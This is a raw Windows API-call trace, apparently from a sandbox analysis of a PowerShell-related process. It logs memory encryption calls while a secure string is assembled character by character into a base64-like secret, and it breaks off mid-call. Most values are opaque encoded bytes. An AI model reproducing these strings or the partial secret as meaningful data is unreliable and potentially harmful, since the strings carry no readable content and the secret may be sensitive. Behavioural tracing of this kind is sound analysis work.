(param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\xf31f\xf47d\x5314\x8628\x2820\x46e5\x6543\xcb7d\x80bd\xb392\x4f2b\xe415\xb799\xe484\x5617\x6036\xc1a4\xecfd\xd03a\x1a09\x5a6d\x1b8\x1535\xd18b\xa63e\xdadc\xe09b\xe86\x233a\x8fab\xc29\xeb0") returned 0x30 [0133.555] SysStringLen (param_1="\x12eb\xbdcc\xff8d\x4898\x2305\xc030\x13a2\x827\x7d4c\xdabf\xc499\x9327\x41ca\x2da4\xfadd\x11c\xf31f\xf47d\x5314\x8628\x2820\x46e5\x6543\xcb7d\x80bd\xb392\x4f2b\xe415\xb799\xe484\x5617\x6036\xc1a4\xecfd\xd03a\x1a09\x5a6d\x1b8\x1535\xd18b\xa63e\xdadc\xe09b\xe86\x233a\x8fab\xc29\xeb0") returned 0x30 [0133.555] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0133.556] SysStringLen (param_1="IJ8S1e0VyUrbJKcxRAIrU1WWe24wF/8/xs87RWhvYiA=﹐랈넱ﭓ") returned 0x30 [0133.556] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.556] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.556] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.557] SysStringLen (param_1="") returned 0x8 [0133.557] SysStringLen (param_1="Y") returned 0x8 [0133.557] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.557] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.557] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.557] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.557] SysStringLen (param_1="YW") returned 0x8 [0133.557] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.557] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.557] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.557] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.557] SysStringLen (param_1="YWM") returned 0x8 [0133.557] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.557] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.557] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="YWM1") returned 0x8 [0133.558] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.558] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="YWM1O") returned 0x8 [0133.558] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.558] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.558] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.558] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.558] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.559] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.559] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.559] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.559] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.559] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.559] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.559] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.559] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.559] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.559] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.559] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.559] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.559] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.559] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.559] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.560] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.560] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.560] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.560] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.560] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.560] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.560] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.560] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.561] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.561] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.562] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.562] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.562] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.562] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.562] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.562] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.562] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.562] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.562] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.563] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.563] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.564] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.564] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.564] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.564] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.564] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.564] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.564] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.565] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.565] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.566] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.566] SysStringLen 